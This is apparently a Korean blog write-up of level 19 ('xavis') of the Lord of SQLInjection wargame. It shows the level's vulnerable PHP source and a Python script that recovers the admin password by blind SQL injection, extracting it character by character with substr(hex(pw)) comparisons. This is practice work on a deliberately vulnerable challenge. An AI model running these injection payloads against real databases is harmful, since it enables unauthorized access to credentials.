LOS #19 xavis

2020. 10. 28. 23:02
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

 

Query

select id from prob_xavis where id='admin' and pw=''

 

Write-up

[사진 1]

위 사진에서 확인할 수 있는 정보는 다음과 같다.

  • 파라미터는 pw 1개가 사용될 수 있다.

  • pw 값에 like 필터링을 한다.

  • id 값은 'admin'으로 고정되어 있다.

  • addslashes() 함수로 전달한 pw 값의 single quote, double quote 등을 필터링한다. 따라서, DB 상의 pw 값과 일치하는 값을 전달해야 한다.
  • 마지막 if문을 보면 입력한 pw 값과 DB에 저장되어 있는 pw 값이 정확히 일치해야 함을 알 수 있다.

LOS 4번 orc와 비슷한 문제이다. pw 값의 길이를 알아내고, 1글자씩 비교하여 정확한 pw 값을 맞추면 된다. 그런데, ascii code 값으로 pw 값을 맞출 수 없었다. 다른 write-up을 보니 pw가 한글이었다. 한글은 utf-8  또는 utf-16으로 나타낼 수 있는데 최소한 2bytes 길이의 값이 사용된다.

 

[사진 2]

먼저 pw 값의 길이를 맞춰야 하는데, 12(pw)를 전달하면 id가 'admin'인 row를 가져올 수 있었다. 하지만, pw가 한글인 상황에서 1글자씩 비교하여 pw를 추측하려면 16진수로 변환된 pw 값의 길이를 구해야 한다.

 

[사진 3]

위와 같이 pw를 hex() 함수를 통해 16진수로 변환한 pw 길이는 24임을 알 수 있다.

 

Code

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

pw=""

for i in range(1,25):
  for j in range(48,128): # 0~9, a~z, A~Z
    try:
      url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1' or id='admin' and substr(hex(pw)," + str(i) + ", 1) = \'" + chr(j)
      result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
    except:
      print("Error...")
      continue
    if 'Hello admin' in result.text:
      pw = pw + chr(j)
      print("pw : " + pw)
      break

[사진 4]

위 코드에 따르면 pw 값을 16진수로 변환하였을 때 "0000C6B00000C6550000AD73"임을 알 수 있다.

중간중간 null 값으로 추측되는 "0" 문자가 있는데, 4bytes씩 자르면 아래와 같다.

0x0000C6B0

0x0000C655

0x0000AD73

이 값들을 한글로 변환해주면 된다.

 

 

* utf-8 한글 참고 링크

 

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  UTF8: 234, 176, 128;  UNICODE: AC0  가  각  갂  갃  간..

jjeong.tistory.com

 

0x0000C6B0 => 우

0x0000C655 => 왕

0x0000AD73 => 굳

 

Parameter

pw=우왕굳

쿼리문은 다음과 같다. pw 값이 한글일 수도 있다는 생각을 하지 못하면 풀기 매우 매우 어려운 것 같다.

select id from prob_xavis where id='admin' and pw='우왕굳'

 

Success

[사진 5]

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #21 iron_golem  (0) 2020.12.08
LOS #20 dragon  (0) 2020.10.28
LOS #18 nightmare  (0) 2020.10.28
LOS #17 zombie_assassin  (0) 2020.10.28
LOS #16 succubus  (0) 2020.10.28

+ Recent posts